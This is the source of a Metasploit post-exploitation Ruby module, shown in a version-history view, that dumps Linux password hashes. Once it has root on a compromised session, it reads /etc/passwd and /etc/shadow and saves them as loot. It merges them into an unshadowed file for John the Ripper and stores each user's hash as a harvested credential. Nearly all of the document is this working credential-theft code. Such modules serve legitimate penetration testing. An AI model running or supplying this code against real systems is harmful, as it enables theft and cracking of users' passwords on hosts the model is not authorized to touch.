Files
metasploit-gs/modules/post/linux/gather/hashdump.rb
T

76 lines
2.4 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
2013-09-05 13:41:25 -05:00
include Msf::Post::File
include Msf::Post::Linux::Priv
2013-08-30 16:28:54 -05:00
def initialize(info={})
super( update_info( info,
'Name' => 'Linux Gather Dump Password Hashes for Linux Systems',
'Description' => %q{ Post Module to dump the password hashes for all users on a Linux System},
'License' => MSF_LICENSE,
2014-07-09 08:48:20 -05:00
'Author' => ['Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => ['linux'],
'SessionTypes' => ['shell', 'meterpreter']
2013-08-30 16:28:54 -05:00
))
end
2013-08-30 16:28:54 -05:00
# Run Method for when run command is issued
def run
if is_root?
passwd_file = read_file("/etc/passwd")
shadow_file = read_file("/etc/shadow")
2011-11-20 12:53:25 +11:00
2013-08-30 16:28:54 -05:00
# Save in loot the passwd and shadow file
p1 = store_loot("linux.shadow", "text/plain", session, shadow_file, "shadow.tx", "Linux Password Shadow File")
p2 = store_loot("linux.passwd", "text/plain", session, passwd_file, "passwd.tx", "Linux Passwd File")
2017-07-19 13:02:49 +01:00
vprint_good("Shadow saved in: #{p1.to_s}")
vprint_good("passwd saved in: #{p2.to_s}")
2013-08-30 16:28:54 -05:00
# Unshadow the files
john_file = unshadow(passwd_file, shadow_file)
john_file.each_line do |l|
2014-06-06 15:21:47 -05:00
hash_parts = l.split(':')
credential_data = {
jtr_format: 'md5,des,bsdi,crypt',
origin_type: :session,
post_reference_name: self.refname,
private_type: :nonreplayable_hash,
private_data: hash_parts[1],
session_id: session_db_id,
username: hash_parts[0],
workspace_id: myworkspace_id
}
create_credential(credential_data)
2013-08-30 16:28:54 -05:00
print_good(l.chomp)
end
# Save pwd file
upassf = store_loot("linux.hashes", "text/plain", session, john_file, "unshadowed_passwd.pwd", "Linux Unshadowed Password File")
print_good("Unshadowed Password File: #{upassf}")
else
print_error("You must run this module as root!")
end
end
2013-08-30 16:28:54 -05:00
def unshadow(pf,sf)
unshadowed = ""
sf.each_line do |sl|
pass = sl.scan(/^\w*:([^:]*)/).join
if pass !~ /^\*|^!$/
user = sl.scan(/(^\w*):/).join
pf.each_line do |pl|
if pl.match(/^#{user}:/)
unshadowed << pl.gsub(/:x:/,":#{pass}:")
end
end
end
end
2014-07-09 08:48:20 -05:00
unshadowed
2013-08-30 16:28:54 -05:00
end
end